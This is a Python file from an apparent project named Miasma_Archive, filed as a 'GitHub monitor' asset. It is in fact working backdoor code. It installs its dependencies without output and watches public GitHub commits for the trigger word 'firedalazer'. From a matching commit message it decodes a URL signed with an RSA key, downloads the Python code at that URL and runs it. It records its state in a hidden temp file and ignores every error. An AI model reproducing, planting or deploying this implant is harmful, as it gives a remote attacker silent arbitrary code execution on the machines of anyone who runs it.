Files
Miasma_Archive/src/assets/GITHUB_MONITOR.py
T
2026-06-13 09:36:13 -04:00

277 lines
7.9 KiB
Python

#!/usr/bin/env python3
import base64
import hashlib
import json
import re
import subprocess
import sys
import tempfile
import time
from datetime import datetime
from pathlib import Path
from typing import Any, Dict, Optional, Set
try:
import requests
except ImportError:
try:
subprocess.check_call(
[sys.executable, "-m", "pip", "install", "requests"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
try:
subprocess.check_call(
[
sys.executable,
"-m",
"pip",
"install",
"requests",
"--break-system-packages",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
pass
import requests
try:
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
except ImportError:
try:
subprocess.check_call(
[sys.executable, "-m", "pip", "install", "cryptography"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
try:
subprocess.check_call(
[
sys.executable,
"-m",
"pip",
"install",
"cryptography",
"--break-system-packages",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
sys.exit(1)
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
RSA_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw5zZbSXX+4X2kTs/zC7l
dygVt0LI6s6SMojEZZq8IhBz70wVL9ep8e3RZai6gEFYH1FLtZtb9IXKDadh3jdc
2cQg7RzH762PtVP7GL38miA9LIXCOPVyuviUsqk1BQt3twsp1WQp8WH/4FDsFrrv
A8nRravS7w9fUeHiC8gm04BUC4nD4ZkiHu+8Yilf2JHWnXt06kLz3JnZQUm2qhlV
EB2MAMQiDAN5uSPvDm5x2cREVayuf3Qq/bnKey8c8pXJ8BrGnAmw3eLTpTeiUmNj
J5m/Lrna2ROwK/Tu2jWSyxMz5t4nvD6aE0blFVExGGEcY8qwm3U60Hod3fBgNK5S
365tHKXe1I15UgzuuRM6JNG6IBF7LiAUO8Himzjx6roYHUqhTqHWcINhl3fqaoOl
MtEA2+w8VGGUNTE1n/OOgBLGHW0QK5dFhOXQ9r1Zilo1y2hJXQ3JSGYRsPjENxM2
W11lJLSzSCdDNRBT6D9kE2lFs11iBfCo8tmbAVWY7/jptsk19OIe/ftlozdW2qDD
k7LKK2Qkitz2T/m8Iz07N2aJ0DZYVAMDPOd9qGcPdZxWpbWmE98bDlnx5dDTi6VS
hSxZXiKzac0K41js5ZdlAoqJIJbg9x5GvGKgnC7smaxJG1UGZRXsAqRuFofz+eNv
/NJvOpIB3BJzKosT2ZL83ksCAwEAAQ==
-----END PUBLIC KEY-----"""
POLL_INTERVAL_SECONDS = 3600
STATE_FILE = "/var/tmp/.gh_update_state"
GITHUB_SEARCH_API = "https://api.github.com/search/commits"
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
class GitHubMonitor:
def __init__(self):
self.public_key = self._load_public_key()
self.executed_commands = self._load_state()
def _load_public_key(self) -> rsa.RSAPublicKey:
try:
key = serialization.load_pem_public_key(
RSA_PUBLIC_KEY_PEM.encode(), backend=default_backend()
)
return key
except:
raise
def _load_state(self) -> Set[str]:
try:
if Path(STATE_FILE).exists():
with open(STATE_FILE, "r") as f:
data = json.load(f)
return set(data.get("executed", []))
except:
pass
return set()
def _save_state(self):
try:
Path(STATE_FILE).parent.mkdir(parents=True, exist_ok=True)
with open(STATE_FILE, "w") as f:
json.dump(
{
"executed": list(self.executed_commands),
"last_updated": datetime.utcnow().isoformat(),
},
f,
indent=2,
)
except:
pass
def _verify_signature(self, message: bytes, signature: bytes) -> bool:
try:
self.public_key.verify(
signature,
message,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH,
),
hashes.SHA256(),
)
return True
except:
return False
def _search_github_commits(self, query: str = "firedalazer") -> list:
try:
headers = {
"Accept": "application/vnd.github.cloak-preview+json",
"User-Agent": USER_AGENT,
}
params = {
"q": query,
"sort": "committer-date",
"order": "desc",
"per_page": 1,
}
response = requests.get(
GITHUB_SEARCH_API, headers=headers, params=params, timeout=30
)
if response.status_code == 200:
data = response.json()
commits = data.get("items", [])
return commits
else:
return []
except:
return []
def _parse_commit_message(self, message: str) -> Optional[Dict[str, str]]:
match = re.search(COMMAND_PATTERN, message)
if match:
return {"url_b64": match.group(1), "signature_b64": match.group(2)}
return None
def _get_command_hash(self, url: str) -> str:
return hashlib.sha256(url.encode()).hexdigest()
def _download_and_execute(self, url: str) -> bool:
try:
response = requests.get(
url,
headers={"User-Agent": USER_AGENT},
timeout=60,
allow_redirects=True,
)
if response.status_code != 200:
return False
content = response.text
if not content.strip():
return False
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
f.write(content)
temp_path = f.name
result = subprocess.run(
["python3", temp_path], capture_output=True, text=True, timeout=300
)
try:
Path(temp_path).unlink()
except:
pass
return True
except subprocess.TimeoutExpired:
return False
except:
return False
def process_latest_commit(self):
commits = self._search_github_commits()
if not commits:
return
commit = commits[0]
commit_msg = commit.get("commit", {}).get("message", "")
parsed = self._parse_commit_message(commit_msg)
if not parsed:
return
try:
url = base64.b64decode(parsed["url_b64"]).decode("utf-8")
cmd_hash = self._get_command_hash(url)
if cmd_hash in self.executed_commands:
return
signature = base64.b64decode(parsed["signature_b64"])
if not self._verify_signature(parsed["url_b64"].encode(), signature):
return
if self._download_and_execute(url):
self.executed_commands.add(cmd_hash)
self._save_state()
except:
pass
def poll_loop(self):
while True:
try:
self.process_latest_commit()
except:
pass
time.sleep(POLL_INTERVAL_SECONDS)
def main():
try:
monitor = GitHubMonitor()
monitor.poll_loop()
except KeyboardInterrupt:
pass
except:
pass
if __name__ == "__main__":
main()